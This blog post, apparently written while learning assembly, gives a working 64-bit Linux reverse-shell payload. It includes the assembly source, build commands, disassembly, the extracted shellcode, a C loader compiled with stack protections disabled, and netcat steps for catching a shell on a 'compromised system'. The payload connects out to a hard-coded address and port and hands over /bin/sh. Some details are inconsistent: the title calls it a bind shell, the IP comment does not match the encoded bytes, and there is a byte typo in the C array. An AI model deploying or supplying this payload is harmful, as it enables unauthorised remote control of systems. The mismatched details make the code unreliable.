Reverse TCP Bind Shell 64 bit

In learning 64 bit assembly language under Linux, I thought I would convert some of the 32 bit code I have already posted on this blog. Therefore there won’t be a full explanation, just the basics.

The assembly language code.

global _start
section .text

_start:
    xor rax,rax
    xor rdi,rdi
    xor rsi,rsi
    xor rdx,rdx
    xor r8,r8
	
    ; Socket
    ; Function prototype:
    ;   int socket(int domain, int type, int protocol)
    ; Purpose:
    ;   creates an endpoint for communications, returns a
    ;   descriptor that will be used throughout the code to
    ;   bind/listen/accept communications
    push 0x2
    pop rdi
    push 0x1
    pop rsi
    push 0x6
    pop rdx
    push 0x29
    pop rax
    syscall 
    mov r8,rax
	
    ; Connect
    ; Function protoype:
    ;   int connect(int sockfd, const struct sockaddr *addr,
    ;       socklen_t addrlen)
    ; Purpose:
    ;   initiate a connection on socket referred by the file
    ;   descriptor to the address specified in addr.
    xor rsi,rsi
    xor r10,r10
    push r10
    mov byte [rsp],0x2
    mov word [rsp+0x2],0x697a
    mov dword [rsp+0x4],0xa1080c0
    mov rsi, rsp
    push byte 0x10
    pop rdx
    push r8
    pop rdi
    push 0x2a
    pop rax
    syscall
	
    ; Dup2
    ; Function prototype:
    ;   int dup2(int oldfd, int newfd)
    ; Purpose:
    ;   duplicate a file descriptor, copies the old file
    ;   descriptor to a new one allowing them to be used
    ;   interchangably, this allows all shell ops to/from the
    ;   compromised system
    xor rsi,rsi
    push 0x3
    pop rsi
doop:
    dec rsi
    push 0x21
    pop rax
    syscall 
    jne doop
	
    ; Execve
    ; Function descriptor:
    ;   int execve(const char *fn, char *const argv[],
    ;       char *const envp[])
    ; Purpose:
    ;   to execute a program on a remote and/or compromised
    ;   system. There is no return from using execve therefore
    ;   an exit syscall is not required
    xor rdi,rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi,0x68732f6e69622f2f
    shr rdi,0x8
    push rdi
    push rsp
    pop rdi
    push 0x3b
    pop rax
    syscall

Build the code:
$ nasm -felf64 -o reversetcpbindshell.o reversetcpbindshell.asm
$ ld -o reversetcpbindshell reversetcpbindshell.o

Check for nulls:
$ objdump -D reversetcpbindshell -M intel

reversetcpbindshell:     file format elf64-x86-64
Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	48 31 ff             	xor    rdi,rdi
  400086:	48 31 f6             	xor    rsi,rsi
  400089:	48 31 d2             	xor    rdx,rdx
  40008c:	4d 31 c0             	xor    r8,r8
  40008f:	6a 02                	push   0x2
  400091:	5f                   	pop    rdi
  400092:	6a 01                	push   0x1
  400094:	5e                   	pop    rsi
  400095:	6a 06                	push   0x6
  400097:	5a                   	pop    rdx
  400098:	6a 29                	push   0x29
  40009a:	58                   	pop    rax
  40009b:	0f 05                	syscall 
  40009d:	49 89 c0             	mov    r8,rax
  4000a0:	48 31 f6             	xor    rsi,rsi
  4000a3:	4d 31 d2             	xor    r10,r10
  4000a6:	41 52                	push   r10
  4000a8:	c6 04 24 02          	mov    BYTE PTR [rsp],0x2
  4000ac:	66 c7 44 24 02 7a 69 	mov    WORD PTR [rsp+0x2],0x697a
  4000b3:	c7 44 24 04 c0 80 10 	mov    DWORD PTR [rsp+0x4],0xa1080c0
  4000ba:	0a 
  4000bb:	48 89 e6             	mov    rsi,rsp
  4000be:	6a 10                	push   0x10
  4000c0:	5a                   	pop    rdx
  4000c1:	41 50                	push   r8
  4000c3:	5f                   	pop    rdi
  4000c4:	6a 2a                	push   0x2a
  4000c6:	58                   	pop    rax
  4000c7:	0f 05                	syscall 
  4000c9:	48 31 f6             	xor    rsi,rsi
  4000cc:	6a 03                	push   0x3
  4000ce:	5e                   	pop    rsi
00000000004000cf <doop>:
  4000cf:	48 ff ce             	dec    rsi
  4000d2:	6a 21                	push   0x21
  4000d4:	58                   	pop    rax
  4000d5:	0f 05                	syscall 
  4000d7:	75 f6                	jne    4000cf <doop>
  4000d9:	48 31 ff             	xor    rdi,rdi
  4000dc:	57                   	push   rdi
  4000dd:	57                   	push   rdi
  4000de:	5e                   	pop    rsi
  4000df:	5a                   	pop    rdx
  4000e0:	48 bf 2f 2f 62 69 6e 	movabs rdi,0x68732f6e69622f2f
  4000e7:	2f 73 68 
  4000ea:	48 c1 ef 08          	shr    rdi,0x8
  4000ee:	57                   	push   rdi
  4000ef:	54                   	push   rsp
  4000f0:	5f                   	pop    rdi
  4000f1:	6a 3b                	push   0x3b
  4000f3:	58                   	pop    rax
  4000f4:	0f 05                	syscall 

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./reversetcpbindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,

$ objdump -d ./reversetcpbindshell | grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-7 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’

“\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\xc0\x80\x10\x0a\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05”

The shellcode can be copied and pasted into a test program, similar to the one below. The #define IPADDR and PORT is to allow for the simple configuration of IP Address and Port.

#include <stdio.h>
 
/*
 ipaddr 192.168.1.10 (c0a8010a)
 port 31337 (7a69)
*/
#define IPADDR "\xc0\x80\x10\x0a"
#define PORT "\x7a\x69"
 
unsigned char code[] = 
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
"\x5a\x41\x50\x5f\x6ax\2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int
main(void)
{
    printf("Shellcode Length: %dn", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./reversetcpbindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

The shellcode above currently weighs in at 118 bytes. With further research the codebase could be reduced, but that was not the goal of this exercise.

Update: Shell-storm.org database entry here.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s